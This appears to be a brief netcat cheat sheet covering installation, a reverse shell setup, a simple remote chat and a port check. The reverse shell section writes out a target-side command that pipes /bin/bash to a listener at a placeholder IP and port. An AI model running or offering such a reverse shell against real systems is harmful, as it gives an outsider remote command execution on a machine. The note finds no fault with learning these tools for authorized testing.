Netcat (nc)

sudo apt install netcat

Reverse shell

• Source

nc -nvl -s <source_ip> -p <source_port>

If you add -e here you can execute commands from target to source also

• Target

nc -e /bin/bash <source_ip> <source_port>

Remote Chat

• Source

nc -nvl -p <source_port>

If you add -e here you can execute commands from target to source also

• Target

nc <source_ip> <source_port>

Check if port is open

nc -nv <target> 22